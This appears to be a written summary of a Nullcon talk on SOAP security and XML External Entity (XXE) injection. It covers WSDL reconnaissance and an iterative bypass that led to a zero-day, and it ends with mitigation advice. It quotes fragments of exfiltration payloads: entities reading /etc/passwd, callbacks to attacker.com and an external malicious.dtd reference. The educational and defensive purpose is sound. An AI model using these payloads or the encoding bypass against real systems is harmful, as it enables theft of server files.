The SOAP Effect: Breaking Security Assumptions in Real-World Systems

The SOAP Effect: Breaking Security Assumptions in Real-World Systems

Speakers: Kamalpreet Khurana, Senior Offensive Security Researcher, Adobe

Conference: Nullcon

YouTube: https://www.youtube.com/watch?v=JiGVMsyj_J0

Overview

In a compelling presentation at Nullcon, Kamalpreet Khurana, a Senior Offensive Security Researcher at Adobe, shed light on the enduring security risks associated with the Simple Object Access Protocol (SOAP). Despite often being perceived as an antiquated technology, SOAP remains the backbone of countless critical enterprise systems worldwide, silently powering essential services like billing, licensing, and document processing. Khurana's talk, "The SOAP Effect: Breaking Security Assumptions in Real-World Systems," served as a stark reminder that legacy technologies, when mishandled or misunderstood, continue to expose significant attack surfaces.

The core premise of the presentation was not to highlight a single vulnerability, but rather to illustrate how fundamental design choices in SOAP, particularly its reliance on XML (Extensible Markup Language) for data exchange, create a fertile ground for sophisticated attacks. Khurana specifically emphasized the prevalence and exploitability of XML External Entity (XXE) injection, a "low-hanging fruit" that adversaries frequently target due to common developer oversight and the inherent trust placed in incoming XML data by server-side parsers. The talk aimed to equip developers, security researchers, and even new graduates with a deeper understanding of SOAP's underlying mechanisms, the attacker's mindset, and the critical defensive measures required to secure these often-overlooked systems.

Khurana's insights are particularly relevant in an era where rapid technological migration often leaves behind a trail of legacy code. Companies frequently choose to port existing SOAP implementations rather than undertake costly and complex rewrites, inadvertently preserving vulnerabilities that may have existed for years. This talk underscores the urgent need for a renewed focus on securing these foundational systems, providing a detailed breakdown of how attackers reconnoiter, exploit, and exfiltrate data from SOAP endpoints, culminating in the revelation of a real-world zero-day discovery.

Background

▶ Watch: Introduction to SOAP effect and talk agenda (0:00)

To comprehend the security challenges presented by SOAP, it's essential to first understand its foundational components and historical context. SOAP emerged as a protocol for exchanging structured information in the implementation of web services. Unlike modern REST APIs that predominantly use lightweight JSON (JavaScript Object Notation), SOAP relies on XML for its message format. While XML provides a highly structured and verbose way to represent data, this verbosity and structure introduce a layer of complexity and potential attack surface that JSON often avoids. The key insight, as Khurana highlighted, is that XML is not merely data; it's a language with inherent rules, features, and behaviors that are interpreted by an XML parser on the server side.

The persistence of SOAP in critical systems stems from its deep integration into core business logic. Many enterprises, especially in sectors like finance, healthcare, and government, have built their foundational infrastructure around SOAP-based services over decades. The cost and risk associated with migrating these "business-critical" systems are often prohibitive, leading organizations to simply port existing SOAP code from one environment to another. This practice means that vulnerabilities inherent in the original implementations are frequently carried forward, creating a perpetual "legacy risk." Developers, intimidated by the complexity of SOAP and XML, often avoid refactoring or even thoroughly reviewing these sections of code, allowing long-dormant security flaws to persist.

A fundamental issue in SOAP is what Khurana termed the "trust problem." A typical SOAP request comprises a header and a body. The header often contains information for identity, routing, and authentication tokens, which servers tend to implicitly trust. The body, however, contains the user-controlled XML data. The server's operational model dictates that it first trusts the incoming request and then proceeds to execute the logic based on its contents. This blind trust, combined with a user-controlled XML body, creates a dangerous scenario where malicious instructions embedded within the XML can be processed without adequate scrutiny.

Attackers looking to exploit SOAP services often begin by examining the WSDL (Web Services Description Language). WSDL files serve as a comprehensive blueprint, exposing the entire API surface of a SOAP service. They detail definitions, messages, operations, and bindings, effectively providing a "roadmap" for an attacker. A WSDL file can reveal what functions a service offers (e.g., getUser), what input parameters it expects (e.g., userID as an integer), what output formats it provides (e.g., name, email as strings), and even the service endpoint URLs. For an attacker, more information directly translates to a larger and clearer attack surface, enabling them to craft targeted and effective payloads.

At the backend, application code rarely interacts with raw XML directly. Instead, the XML is automatically converted into programming language objects through a process called deserialization. This conversion, where external input is used to create internal data structure objects, is a critical point of vulnerability. The typical SOAP deserialization workflow involves the server receiving a SOAP request, the XML parser processing the XML, a framework mapping the XML elements to application objects, and finally, these objects being executed by the application logic. This entire chain, from parsing to execution, offers multiple points for an attacker to inject malicious code or instructions.

Central to how XML parsers operate are DTDs (Document Type Definitions). DTDs are essentially "hidden instruction sheets" that dictate how an XML parser should interpret the XML document. They define what elements are allowed, how they are structured, and their relationships. From an attacker's perspective, controlling or influencing the DTD allows them to define rules that can trick the XML parser into performing unintended actions, forming the basis for attacks like XXE.

Key Findings

▶ Watch: Understanding the fundamental trust problem in SOAP requests (4:15)

Kamalpreet Khurana's talk illuminated several critical findings regarding the security posture of SOAP-based systems in contemporary environments:

• Pervasive Legacy Risk: SOAP is not dead; it underpins a significant number of business-critical systems (e.g., billing, licensing, document processing) in large enterprises. The expense and complexity of migrating these systems mean that legacy SOAP code is often simply moved or containerized, not rewritten, perpetuating existing vulnerabilities.
• Fundamental Trust Problem: A core design flaw in SOAP involves the implicit trust placed in request headers and the subsequent execution of user-controlled XML within the body. Servers "trust first, then execute," creating a wide-open avenue for attack if the XML parser is not securely configured.
• WSDL as an Attacker's Roadmap: The Web Services Description Language (WSDL), intended for service description, acts as an invaluable reconnaissance tool for attackers. It openly exposes service functions, input parameters (including data types), output formats, and endpoint URLs, providing all the necessary information to craft precise and effective attack payloads.
• XXE as a Low-Hanging Fruit: XML External Entity (XXE) injection remains a highly prevalent and easily exploitable vulnerability in SOAP systems. This is primarily because XML parsers, by default or misconfiguration, are often permitted to process external instructions embedded within user-supplied XML, allowing for file disclosure, server-side request forgery (SSRF), and even remote code execution in some cases.
• Advanced Exploitation Techniques Bypass Defenses: Simple XXE payloads (e.g., direct file reads) are often blocked by modern systems. However, Khurana demonstrated that advanced techniques, such as "entity inside entity" combined with clever ASCII encoding, can bypass common parser defenses and successfully exfiltrate sensitive data, leading to the discovery of a zero-day vulnerability in a critical product.
• Importance of Understanding Parser Behavior: Successful exploitation hinges on a deep understanding of how XML parsers interpret DTDs and entities. Attackers must move beyond generic payloads and analyze specific parser responses to evolve their attacks, identifying what is blocked versus what is parsed.
• Comprehensive Mitigation is Essential: Effective defense against SOAP vulnerabilities requires a multi-layered approach, including disabling external entities in XML parsers, applying language-specific hardening, implementing network isolation, enforcing minimal file permissions, utilizing sandboxed environments, and deploying robust WAF rules.

These findings collectively underscore that the perceived obsolescence of SOAP does not equate to its irrelevance in the threat landscape. Instead, its continued use in critical, often unpatched, and poorly understood legacy systems makes it a prime target for adversaries.

Technical Deep Dive

▶ Watch: WSDL: Attacker's roadmap to SOAP API exposure (4:50)

At the heart of SOAP's vulnerabilities lies its reliance on XML and the intricate process of XML parsing. XML, unlike simpler data formats, is a markup language designed for structuring data, but it comes with powerful features that, when mishandled, can be weaponized. When a server receives a SOAP request, its XML parser is responsible for building a structured representation of the data. This parser can perform actions like replacing values, loading content from external sources, fetching resources, and reusing variables. The critical vulnerability arises when this parser can be tricked into executing attacker-supplied instructions.

The WSDL (Web Services Description Language) plays a pivotal role in an attacker's reconnaissance phase. Khurana illustrated how a simple HTTP GET request to a WSDL endpoint, such as /userService?wsdl, can reveal the entire operational blueprint of a service. This includes:

• Definitions: Data types used in the messages.
• Messages: The abstract definition of the data being exchanged.
• Operations: The actions or functions the service can perform (e.g., getUser).
• Bindings: The protocol and data format specifications for the operations.
• Service Endpoints: The actual URLs where the service is hosted.

For instance, if a WSDL reveals an operation like getUser that accepts a userID as an integer and returns name and email as strings, an attacker gains precise knowledge about how to interact with the service and what data types to use, greatly simplifying payload construction. This level of exposure provides an attacker with a clear roadmap to the application's internal logic.

The process of deserialization is another critical point. Raw XML from a SOAP request is transformed into programming language objects that the application can interact with. This conversion, from external, untrusted input into internal, executable objects, is inherently dangerous. Khurana outlined the typical deserialization workflow:

1. Receive: The server receives the SOAP request.
2. Parse: The XML parser processes the XML body.
3. Map: A framework maps the parsed XML elements to application-specific objects.
4. Execute: The application logic executes methods or accesses properties on these newly created objects.

Any vulnerability in the parsing or mapping phase can lead to the execution of arbitrary code or unauthorized data access.

The rules governing XML parsing are defined by the DTD (Document Type Definition). A DTD specifies the legal building blocks of an XML document, including elements, attributes, and entities. From a security perspective, XXE (XML External Entity) injection exploits the parser's ability to process external entities defined within a DTD. If an XML parser is configured to resolve external entities, an attacker can define an entity that references a local file (e.g., file:///etc/passwd) or an external URL.

Khurana contrasted the "developer's mindset" with the "attacker's mindset." Developers typically view the XML body as benign, structured data (e.g., name and email). Attackers, however, immediately look for the "rule section" at the top of the XML where DTDs and entities can be defined, knowing that altering these rules changes the parser's behavior. A basic XXE example involves defining an internal entity:

Here, &username; would resolve to "Kamal" after deserialization. The real danger arises with external entities using the SYSTEM keyword:

If the parser resolves this, the contents of /etc/passwd would be injected into the userId field, potentially revealing sensitive system information in the application's response or logs. Similarly, SYSTEM "http://attacker.com/callback" can trigger an out-of-band (OOB) callback, confirming that the parser is attempting to resolve external resources.

Khurana then detailed the five attempts that led to his zero-day discovery, demonstrating how an attacker iteratively refines payloads:

1. Direct File Read (file:///etc/passwd): Initial attempt to read /etc/passwd. Often blocked or results in an empty response on modern, hardened systems.
2. Out-of-Band Callback (http://attacker.com/test): Using a Burp Collaborator or similar service to confirm parser interaction. Receiving DNS or HTTP callbacks indicates that the parser is attempting to resolve external URLs, providing a crucial breakthrough.
3. Nested File URL (Combining http://attacker.com/ and file:///etc/passwd): Attempting to combine an external URL with a local file path within a single entity. This typically fails because the XML parser treats the URL as a literal string rather than evaluating nested values.
4. Parameter Entity (% entities within DTD): Defining entities within the DTD itself using the % character (e.g., <!ENTITY % payload SYSTEM "file:///etc/passwd">). While more sophisticated, this was also blocked in the target system.
5. Entity Inside Entity with ASCII Encoding (The Breakthrough): This advanced technique was the key to bypassing the target's defenses. It involves a two-stage entity evaluation process:

The trick lies in the % ASCII encoding for the % character. On the first pass, the XML parser interprets % as literal text. This allows the eval entity to be fully defined. On a subsequent pass, when eval is invoked (%eval;), the parser re-evaluates its content. At this point, % is decoded back to %, turning % exfiltrate into a valid parameter entity declaration !ENTITY % exfiltrate SYSTEM .... This second evaluation then successfully defines the exfiltrate entity, which constructs an HTTP request to attacker.com containing the contents of /etc/passwd (resolved by %file;). Finally, invoking %exfiltrate; triggers the exfiltration. This payload is typically hosted in an external DTD file referenced in the initial SOAP request.

This detailed breakdown highlights the sophistication required to exploit modern, partially hardened systems and underscores the importance of understanding the nuanced behavior of XML parsers.

Demo / Proof of Concept

▶ Watch: The power of XML parsers and potential for trickery (7:40)

Kamalpreet Khurana's presentation culminated in a compelling demonstration of the real-world zero-day XXE vulnerability he discovered in a critical product last year (presumably in 2025, as mentioned in the talk). The demonstration walked through the exact exploitation workflow, illustrating each step with sample screenshots, effectively bringing the theoretical concepts to life.

The exploitation workflow followed these key stages:

1. Initial XXE Payload Injection (Burp Collaborator): The first step involved injecting a simple XXE payload into a SOAP request. This payload used a SYSTEM entity pointing to a Burp Collaborator URL (e.g., http://attacker.com/test). The purpose of this initial injection was purely to confirm that the XML parser on the target server was indeed attempting to resolve external entities.

• Screenshot: A sample SOAP request showing the injected Burp Collaborator URL within an entity declaration.

1. Callback Confirmation: Upon sending the request, Khurana monitored the Burp Collaborator's logs. The successful receipt of DNS and HTTP callbacks served as crucial confirmation. This indicated that the target server's XML parser was actively interacting with external systems, proving that XXE was indeed possible, even if direct file reads were initially blocked.

• Screenshot: Burp Collaborator logs displaying incoming DNS queries and HTTP requests from the target server.

1. Hosting the Breakthrough Payload (External DTD): With the confirmation of external entity resolution, the next step was to host the sophisticated "entity inside entity" payload on an attacker-controlled server. This payload, contained within a malicious DTD file (e.g., malicious.dtd), utilized the ASCII encoding trick (%) to bypass the parser's initial defenses and ensure the nested entity was properly evaluated. The DTD file contained the logic to read /etc/passwd and exfiltrate its content.

• Screenshot: The content of the malicious.dtd file hosted on the attacker's server, showing the multi-stage entity definition.

1. Sending the Final Payload (Referencing External DTD): The attacker then crafted another SOAP request. This time, the XXE payload in the request body didn't contain the full malicious DTD directly, but rather referenced the externally hosted malicious.dtd file using a DOCTYPE declaration (e.g., <!DOCTYPE foo SYSTEM "http://attacker.com/malicious.dtd">).

• Screenshot: The final SOAP request, demonstrating the reference to the external DTD file.

1. Data Exfiltration: When the target server processed this request, its XML parser would fetch the malicious.dtd file. Due to the carefully crafted "entity inside entity" payload and the ASCII encoding trick, the parser successfully read the /etc/passwd file from the target system and then sent its contents back to the attacker's controlled server via an HTTP request.

• Screenshot: The attacker's server logs or a capture from a listening service (e.g., Netcat or a simple Python HTTP server) showing the incoming request containing the exfiltrated /etc/passwd content.

This detailed, step-by-step demonstration underscored the efficacy of understanding parser behavior and iteratively refining payloads. It served as a powerful testament to how seemingly minor encoding tricks and a deep understanding of XML processing can lead to the discovery of critical vulnerabilities, even in widely used and supposedly mature products.

Defensive Implications

▶ Watch: Deserialization: XML to objects, birth of vulnerabilities (8:40)

Securing SOAP-based systems, especially those deemed "business-critical," requires a multi-faceted approach. Khurana outlined several crucial defensive implications for organizations and developers:

1. Prioritize Migration (If Possible): The most fundamental recommendation, if feasible, is to migrate away from SOAP to more modern, lightweight protocols like REST with JSON. While this is often a significant undertaking for legacy systems, it inherently reduces the attack surface associated with complex XML parsing and deserialization.

1. Disable External Entities: This is the single most critical mitigation against XXE attacks. XML parsers, by default, often have external entity processing enabled. Defenders must explicitly configure their XML parsers to:

• Not allow external DTD loadings: Prevent the parser from fetching DTDs from external URLs.
• Disable network resolution: Block the parser from making outbound network connections to resolve entities.
• Khurana emphasized that "the problem is not the XML, the problem is what the parser is allowed to do." By restricting the parser's capabilities, the core XXE vector is eliminated. Specific implementations will vary by programming language and XML library (e.g., Java's DocumentBuilderFactory.setFeature, .NET's XmlReaderSettings.DtdProcessing and XmlResolver).

1. Language-Specific Hardening: Beyond general principles, it's vital to implement hardening specific to the programming language and XML parsing libraries being used. This involves consulting documentation for secure XML parsing configurations in environments like Java (SAX, DOM), .NET, PHP, Python, and others. Default settings are often insecure.

1. Implement Defense-in-Depth: Even with parser hardening, a layered security approach is essential:

• Network Isolation: Restrict outbound network connections from servers hosting SOAP services. If an XXE vulnerability were to bypass parser-level controls, network isolation would prevent it from reaching external attacker-controlled servers or internal systems it shouldn't access.
• Minimal File Permissions: Ensure that the user account running the SOAP service has the absolute minimum necessary file system permissions. This limits the impact of a successful XXE attack; if /etc/passwd cannot be read by the service account, it cannot be exfiltrated.
• Sandbox Environment: Consider processing untrusted XML input within a sandboxed environment. This isolates the parser's operations, containing any potential exploits and preventing them from affecting the broader system.
• Web Application Firewall (WAF) Rules: Deploy and configure WAFs to detect and block common XXE patterns, such as <!DOCTYPE declarations, SYSTEM entities, and known malicious XML structures. While WAFs can be bypassed by sophisticated payloads (like the ASCII encoding trick), they provide an important first line of defense.

1. Stay Informed and Hunt for Vulnerabilities: Khurana highlighted the ongoing relevance of SOAP vulnerabilities by mentioning recent CVEs from 2025. Organizations should regularly review new vulnerabilities related to XML parsing and SOAP, conduct proactive security assessments, and encourage bug bounty hunting on their legacy systems. Understanding the attacker's perspective, as demonstrated in the talk, is crucial for effective defense.

By combining strict parser configuration with robust defense-in-depth strategies, organizations can significantly reduce their exposure to the persistent and often underestimated security risks posed by SOAP-based systems.

Key Takeaways

• SOAP Endures in Critical Infrastructure: Despite its age, SOAP remains a cornerstone for many business-critical enterprise systems (billing, licensing, document processing). Its continued use means its security implications are highly relevant, and vulnerabilities in these systems can have severe business impacts.
• XML is a Powerful Language, Not Just Data: XML is more than a data structuring format; it's a language with features (like entities and DTDs) that, when processed by a parser, can execute instructions. This inherent power is the root cause of many SOAP-related vulnerabilities.
• XXE is a Pervasive Threat: XML External Entity (XXE) injection is a common and often exploitable vulnerability in SOAP-based applications. It allows attackers to leverage misconfigured XML parsers to read local files, initiate server-side request forgery (SSRF), and potentially execute arbitrary code. Other XML-related issues like XML injection are also possible.
• Deep Understanding of Parser Logic is Essential for Exploitation (and Defense): Simply copying payloads from GitHub is ineffective. Successful exploitation requires understanding how XML parsers interpret DTDs, process entities, and what specific defenses (like blocking direct file reads or basic OOB callbacks) are in place. Attackers must iteratively refine their payloads based on parser behavior.
• Advanced Techniques Bypass Common Defenses: The "entity inside entity" technique, particularly when combined with ASCII encoding tricks (e.g., % for %), can bypass modern XXE mitigations that block simpler payloads. This highlights the need for comprehensive parser hardening.
• Robust Defense Requires Multi-Layered Strategy: Mitigating SOAP vulnerabilities demands more than just patching. It necessitates disabling external entities in XML parsers, applying language-specific secure configurations, implementing network isolation, enforcing minimal file permissions, utilizing sandboxed environments, and deploying Web Application Firewall (WAF) rules.

About the Speaker(s)

Kamalpreet Khurana is a Senior Offensive Security Researcher at Adobe. His professional interests lie in the realm of offensive security, specifically focusing on exploit creation and developing strategic approaches to security challenges. He is also passionate about innovation, particularly in the context of AI, and strives to simplify complex security concepts to make them more accessible and actionable for a broader audience. Khurana's expertise, as demonstrated in this talk, includes a deep understanding of legacy systems, XML parsing, and advanced vulnerability research techniques.